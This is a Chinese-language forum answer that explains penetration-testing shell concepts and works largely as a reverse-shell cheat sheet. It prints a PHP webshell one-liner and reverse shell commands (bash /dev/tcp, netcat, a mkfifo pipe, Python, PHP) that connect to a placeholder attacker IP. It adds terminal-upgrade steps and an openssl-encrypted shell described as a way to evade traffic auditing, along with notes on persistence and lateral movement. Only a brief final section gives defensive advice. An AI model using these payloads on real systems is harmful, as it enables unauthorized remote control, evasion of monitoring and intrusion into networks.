深入了解 shell:渗透中常用名词解析及应用场景

深入了解 shell:渗透中常用名词解析及应用场景
最新回答
涔溶淙浯浔

2023-01-06 21:13:39

在渗透测试中,Shell是攻击者获取目标系统控制权的核心工具,其本质是通过命令行或编程接口与系统内核交互的通道。以下从名词解析、应用场景、技术实现三个维度展开说明

一、核心名词解析
  • Shell操作系统提供的用户与内核交互的接口,分为图形界面(GUI)和命令行界面(CLI)。渗透中特指通过漏洞获取的命令执行权限,如/bin/bash(Linux)或cmd.exe(Windows)。

  • Getshell通过漏洞利用(如文件上传、SQL注入、RCE漏洞)获取目标系统的初始命令执行权限,通常为非交互式Shell(如Webshell)。

  • Webshell以Web脚本形式存在的后门(如PHP、ASPX、JSP文件),通过HTTP协议接收攻击者指令并执行系统命令。特点:

    依赖Web服务运行,无需额外端口

    易被WAF检测,但隐蔽性较强

    示例:<?php system($_GET['cmd']); ?>

  • 反弹Shell(Reverse Shell)目标主机主动连接攻击者控制的服务器,建立双向通信通道。优势:

    绕过防火墙对出站流量的限制

    即使Webshell被删除,权限仍可维持

    典型场景:内网渗透、持久化控制

二、应用场景与需求
  1. 突破非交互式限制Webshell默认无法执行交互式命令(如top、vim),需通过反弹Shell获取完整终端环境。

  2. 绕过安全检测

    流量加密:使用SSL/TLS加密Shell通信,避免明文命令被审计设备捕获。

    协议伪装:将Shell流量隐藏在HTTP、DNS等合法协议中。

  3. 内网横向移动反弹Shell可穿透内网隔离,结合socat、proxychains等工具实现多级跳板。

  4. 持久化控制通过计划任务、服务注册等方式维持Shell权限,即使系统重启仍可重新连接。

三、技术实现方法1. 基础反弹Shell命令
  • Bash反弹

    bash -i >& /dev/tcp/攻击者IP/端口 0>&1

    /dev/tcp/是Linux特殊设备文件,用于建立TCP连接

    >&重定向标准输出和错误到Socket

    0>&1将标准输入绑定到同一Socket

  • Netcat(nc)反弹

    nc -e /bin/sh 攻击者IP 端口 # 传统版(可能被拦截)nc.traditional -e /bin/sh 攻击者IP 端口 # 兼容旧系统

    需目标主机预装nc或ncat

    配合命名管道(FIFO)实现双向通信:rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 攻击者IP 端口 > /tmp/f

2. 编程语言实现
  • Python反弹

    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击者IP",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

    os.dup2()重定向标准输入/输出/错误到Socket

    适用于无nc但安装Python的环境

  • PHP反弹

    php -r '$sock=fsockopen("攻击者IP",端口);exec("/bin/bash -i 0<&3 2>&3");'

    需关闭PHP安全模式(safe_mode=Off)

    使用fsockopen建立TCP连接

3. 完全交互式Shell升级

基础反弹Shell为“哑终端”,缺乏命令补全、历史记录等功能。升级方法:

  1. Python pty模块python -c 'import pty; pty.spawn("/bin/bash")'
  2. Stty配置终端# 暂停任务(Ctrl+Z),然后执行:stty raw -echo; fg# 重新设置终端环境export SHELL=bash; export TERM=xterm-256color; reset
4. SSL加密通信

绕过流量审计设备:

  1. 生成证书(攻击者VPS执行):openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
  2. 启动SSL监听:openssl s_server -quiet -key key.pem -cert cert.pem -port 8888
  3. 目标主机连接:mkfifo /tmp/s; /bin/bash -i <&1 | openssl s_client -quiet -connect 攻击者IP:8888 > /tmp/s; rm /tmp/s
四、防御建议
  1. 输入验证与过滤:禁用危险函数(如PHP的exec、system)。
  2. 最小权限原则:Web服务账户限制为低权限用户。
  3. 网络隔离:内网区域禁用出站连接至高危端口(如22、443)。
  4. 终端监控:部署EDR工具检测异常进程(如/bin/bash连接外部IP)。

总结:Shell是渗透测试中的关键攻击面,其技术演进围绕隐蔽性交互性持久性展开。防御需结合纵深策略,从代码层到网络层构建多层防护。